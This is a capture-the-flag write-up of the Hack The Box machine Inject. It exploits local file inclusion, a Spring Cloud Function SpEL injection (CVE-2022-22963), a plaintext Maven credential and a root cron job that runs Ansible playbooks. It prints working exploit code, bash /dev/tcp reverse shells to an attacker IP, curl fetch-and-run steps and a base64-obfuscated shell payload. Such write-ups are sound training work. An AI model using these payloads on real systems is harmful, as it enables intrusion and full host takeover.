Post

HTB - Inject

Overview

Inject is an Easy Difficulty Linux machine featuring a website with file upload functionality vulnerable to Local File Inclusion (LFI).

Initial foothold:
By exploiting the LFI vulnerability, files on the system can be enumerated, revealing that the web application uses a specific version of the Spring-Cloud-Function-Web module susceptible to CVE-2022-22963. Exploiting this vulnerability grants an initial foothold as the frank user.

Lateral movement:
Lateral movement is achieved by further file enumeration, which discloses a plaintext password for phil.

Privilege escalation:
A cronjob running on the machine can then be exploited to execute a malicious Ansible playbook, ultimately obtaining a reverse shell as the root user.

Information gathering

IppSec’s video walkthrough.

Port scanning:

1
2
3
4
5
6
sudo nmap -sS -A -Pn --min-rate 10000 -p- 10.10.11.204

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home

Tech used:

1
2
$ whatweb http://10.10.11.204:8080/
http://10.10.11.204:8080/ [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.10.11.204], Title[Home], YouTube

Browser:

Initial foothold

Directory fuzzing:

Fuzzing for /indexFUZZ did not return anything.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.11.204:8080/FUZZ -ac -c -recursion -recursion-depth 1 -e .aspx,.html,.php,.txt,.jsp -ic -v

[Status: 200, Size: 5654, Words: 1053, Lines: 104, Duration: 29ms]
| URL | http://10.10.11.204:8080/register
    * FUZZ: register

[Status: 200, Size: 5371, Words: 1861, Lines: 113, Duration: 116ms]
| URL | http://10.10.11.204:8080/blogs
    * FUZZ: blogs

[Status: 200, Size: 1857, Words: 513, Lines: 54, Duration: 72ms]
| URL | http://10.10.11.204:8080/upload
    * FUZZ: upload

[Status: 500, Size: 712, Words: 27, Lines: 1, Duration: 316ms]
| URL | http://10.10.11.204:8080/environment
    * FUZZ: environment

[Status: 500, Size: 106, Words: 3, Lines: 1, Duration: 205ms]
| URL | http://10.10.11.204:8080/error
    * FUZZ: error

[Status: 200, Size: 1086, Words: 137, Lines: 34, Duration: 118ms]
| URL | http://10.10.11.204:8080/release_notes
    * FUZZ: release_notes

Sub-domain and Vhost fuzzing did not return anything.

Try to upload a revshell (revshell.sh):

/release_notes directory:

Uploading an image gives us an Uploaded! View your Image message and the path of the uploaded image: http://10.10.11.204:8080/show_image?img=logo.jpg:

Test for LFI:

1
2
3
4
5
6
7
8
$ ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://10.10.11.204:8080/show_image?img=FUZZ' -ac -c

...snip...
../../../../../../../../../../../../etc/hosts [Status: 200, Size: 228, Words: 23, Lines: 10, Duration: 39ms]
/../../../../../../../../../../etc/passwd [Status: 200, Size: 1986, Words: 17, Lines: 38, Duration: 30ms]
../../../../../../../dev [Status: 200, Size: 4020, Words: 1, Lines: 1, Duration: 42ms]
/../../../../../../../../../../etc/shadow [Status: 200, Size: 1345, Words: 1, Lines: 1, Duration: 33ms]
...snip...

Manually check the above findings:

Two users along with root:

  1. frank
  2. phil

Since Tomcat is a Java web application server, we can get directory listing with LFI:

The pom.xml contains a listing of all the libs that JavaScript uses:

Snyk Extension to scan via VS Code –> critical vuln CVE-2022-22963

There is a PoC available, but we will just get the info from there and exploit it manually:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def scan(txt,cmd):

    payload=f'T(java.lang.Runtime).getRuntime().exec("{cmd}")'

    data ='test'
    headers = {
        'spring.cloud.function.routing-expression':payload,
        'Accept-Encoding': 'gzip, deflate',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    path = '/functionRouter'
    f = open(txt)
    urllist=f.readlines()

    for  url  in  urllist :
        url = url.strip('\n')
        all = url + path
        try:
            req=requests.post(url=all,headers=headers,data=data,verify=False,timeout=3)

Things to note:

  • Passing the payload through a specific header: 'spring.cloud.function.routing-expression':payload
  • The path to send our request to: path = '/functionRouter'
  • The method of the request: req=requests.post

Make sure to have a two line break at the end!

1
2
3
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.204 - - [08/Feb/2024 18:13:10] "GET / HTTP/1.1" 200 -

Although the above check worked, sending a reverse shell does not work:

1
2
3
"/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1"
# or
"bash -c '/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1'"

Copy the payload to a file and serve it through an HTTP server:

1
2
3
4
$ echo "/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1" > index.html

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Open a listener on another tab:

1
2
$ nc -lvnp 1337
listening on [any] 1337 ...

Save the payload to the target’s tmp directory:

1
/usr/bin/curl 10.10.14.4:8000 -o /tmp/shell

1
2
3
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.204 - - [08/Feb/2024 18:27:56] "GET / HTTP/1.1" 200 -

Execute the payload:

1
bash /tmp/shell

1
2
3
4
5
6
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.204] 39350
bash: cannot set terminal process group (819): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$

Lateral Movement

Stabilize the shell:

1
2
3
4
5
6
7
8
9
10
frank@inject:/$ python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
frank@inject:/$ ^Z
[1]+  Stopped                 nc -lvnp 1337

┌──(kali㉿CSpanias)-[~]
└─$ stty raw -echo; fg
nc -lvnp 1337

frank@inject:/$ export TERM=xterm

Check for files in frank’s directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
frank@inject:/$ find ~/ -type f 2>/dev/null
/home/frank/.bashrc
/home/frank/.m2/settings.xml
/home/frank/.cache/motd.legal-displayed
/home/frank/.profile

frank@inject:/$ cat ~/.m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>

Credentials: phil:DocPhillovestoInject123.

1
2
3
4
frank@inject:/$ su phil
Password:
phil@inject:/$ cat home/phil/user.txt
...snip...

Privilege Escalation

Checks for sudo permissions, user files, and SUIDs did not return anything of interest.

Check groups:

1
2
3
4
5
6
7
8
9
phil@inject:/$ groups
phil staff

phil@inject:/$ find / -group staff -writable 2>/dev/null
/opt/automation/tasks
/var/local
/usr/local/lib/python3.8
/usr/local/lib/python3.8/dist-packages
/usr/local/share/fonts

Use pspy:

1
2
3
4
5
$ ls -l pspy64
-rwxr-xr-x 1 kali kali 3104768 Jan 22 08:24 pspy64

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Download pspy from target:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
phil@inject:/$ cd /dev/shm
phil@inject:/dev/shm$ wget http://10.10.14.4:8000/pspy64
--2024-02-08 18:51:53--  http://10.10.14.4:8000/pspy64
Connecting to 10.10.14.4:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64              100%[===================>]   2.96M  3.67MB/s    in 0.8s

2024-02-08 18:51:53 (3.67 MB/s) - ‘pspy64’ saved [3104768/3104768]
phil@inject:/dev/shm$ chmod +x pspy64
phil@inject:/dev/shm$ ./pspy64
...snip...
2024/02/08 18:52:17 CMD: UID=0     PID=1      | /sbin/init auto automatic-ubiquity noprompt
2024/02/08 18:54:01 CMD: UID=0     PID=8452   | /bin/sh -c /usr/bin/rm -rf /var/www/WebApp/src/main/uploads/*
2024/02/08 18:54:01 CMD: UID=0     PID=8451   | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml
2024/02/08 18:54:01 CMD: UID=0     PID=8450   | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
2024/02/08 18:54:01 CMD: UID=0     PID=8449   | /usr/sbin/CRON -f
...snip...

This job is executing every .yml file (*.yml) within /opt/automation/tasks/, so we can create our .yml payload since we have write access to the directory (w):

1
2
3
4
5
6
7
8
9
10
11
phil@inject:/opt/automation$ cd /opt/automation/tasks
phil@inject:/opt/automation/tasks$ ls -ld
drwxrwxr-x 2 root staff 4096 Feb  8 18:56 .
phil@inject:/opt/automation/tasks$ cp playbook_1.yml shell.yml
phil@inject:/opt/automation/tasks$ nano shell.yml
phil@inject:/opt/automation/tasks$ cat shell.yml
- hosts: localhost
  tasks:
  - name: Checking webapp service
    shell:
      cmd: bash -c 'bash -i >& /dev/tcp/10.10.14.4/9000 0>&1'

Open a listener and wait (the job runs every 2 minutes):

1
2
3
4
5
6
7
8
$ nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.204] 59482
bash: cannot set terminal process group (9063): Inappropriate ioctl for device
bash: no job control in this shell
root@inject:/opt/automation/tasks# cat /root/root.txt
cat /root/root.txt
...snip...

The cronjob we exploited:

1
2
3
4
5
6
7
root@inject:/opt/automation/tasks# crontab -l
crontab -l

...snip...
# m h  dom mon dow   comma
*/2 * * * * /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
...snip...

Extra - Removing Bad Characters

Based on IppSec’s video walkthrough.

Getting initial foothold without dropping a file on the target:

1
2
3
4
5
6
7
8
9
10
$ cat index.html
/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1

# encoding payload
$ echo "/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1" | base64
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTMzNyAwPiYxCg==

# removing bad characters, i.e., '=='
$ echo "/bin/bash -i >& /dev/tcp/10.10.14.4/1337 0>&1  " | base64
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTMzNyAwPiYxICAK

Test the payload:

1
2
$ nc -lvnp 1337
listening on [any] 1337 ...
1
$ echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTMzNyAwPiYxICAK' | base64 -d | bash
1
2
3
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.14.4] 49422

Use the payload:

1
"bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQvMTMzNyAwPiYxICAK}|{base64,-d}|{bash,-i}"

1
2
3
4
5
6
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.204] 48636
bash: cannot set terminal process group (819): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$
This post is licensed under CC BY 4.0 by the author.